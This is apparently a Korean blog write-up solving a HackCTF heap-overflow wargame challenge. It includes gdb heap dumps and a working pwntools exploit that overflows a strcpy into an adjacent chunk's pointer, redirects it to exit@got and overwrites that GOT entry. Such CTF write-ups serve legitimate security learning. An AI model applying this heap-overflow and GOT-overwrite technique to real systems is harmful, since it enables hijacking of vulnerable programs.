풀이
기말고사 때문에 풀고도 포스팅을 못한 문제들의 풀이를 쭉 적을 것이다.
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
2번 입력을 받고 프로그램을 종료한다.
아래 Bold 글씨로 표시한 것만 봐도 코드의 흐름이 어떻게 흘러 가는지 알 수 있을 것이다.
gdb-peda$ x/32x 0x602290
0x602290: 0x0000000000000000 0x0000000000000021
0x6022a0: 0x0000000000000001 0x00000000006022c0
0x6022b0: 0x0000000000000000 0x0000000000000021
0x6022c0: 0x0000000a41414141 0x0000000000000000
0x6022d0: 0x0000000000000000 0x0000000000000021
0x6022e0: 0x0000000000000002 0x0000000000602300
0x6022f0: 0x0000000000000000 0x0000000000000021
0x602300: 0x0000000a42424242 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000411
0x602320: 0x0000000a42424242 0x0000000000000000
*v3 = 1, *v3 = 2는 단순히 라벨링 목적으로 넣은 거 같다.
코드의 흐름은 다음과 같다.
v3 = malloc(0x10);
v3[0] = 1;
v3[1] = malloc(8);
v4 = malloc(0x10);
v4[0] = 2;
v4[1] = malloc(8);
다음 부분이 중요한데, s에 4096칸만큼을 입력받고 strcpy로 v3[1]이 가리키는 곳에 s를 복사한다.
즉, 0x6022c0에 첫 s 값을 넣는 것이다.
두 번째도 마찬가지로 v4[1]이 가리키는 곳에 s를 복사하므로, 0x602300에 두 번째 s 값을 넣는다.
우리는 v4[1]이 가리키는 곳에 값을 복사한다는 점을 이용해 코드의 흐름을 조작할 수 있다(GOT overwrite).
malloc으로 주어진 값은 8칸이지만, 우리는 strcpy를 이용해 4096칸만큼 복사할 수 있다.
즉, 이런 식으로 heap overflow를 일으켜 v4[1]의 주소를 exit@got로 바꿔준다면 다음 strcpy에서 exit@got 위치에 s 값을 복사해 이 문제를 해결할 수 있다. (0x400826 함수를 참고하자.)
0x602290: 0x0000000000000000 0x0000000000000021
0x6022a0: 0x0000000000000001 0x00000000006022c0
0x6022b0: 0x0000000000000000 0x0000000000000021
0x6022c0: 0x4141414141414141 0x4141414141414141
0x6022d0: 0x4141414141414141 0x4141414141414141
0x6022e0: 0x4141414141414141 exit@got
0x6022f0: 0x0000000000000000 0x0000000000000021
0x602300: 0x0000000a42424242 0x0000000000000000
0x602310: 0x0000000000000000 0x0000000000000411
0x602320: 0x0000000a42424242 0x0000000000000000
from pwn import *
context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3016)
e = ELF('./beginner_heap.bin')
payload = 'A'*40
payload += p64(e.got['exit'])
p.sendline(payload)
payload = p64(0x400826)
p.sendline(payload)
p.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[HackCTF] Gift 풀이 (250p) (0) | 2020.12.28 |
---|---|
[HackCTF] Look at me 풀이 (250p) (0) | 2020.12.28 |
[HackCTF] RTL_Core 풀이 (250p) (0) | 2020.08.24 |
[HackCTF] Random Key 풀이 (200p) (0) | 2020.08.24 |
[HackCTF] 1996 풀이 (200p) (0) | 2020.08.23 |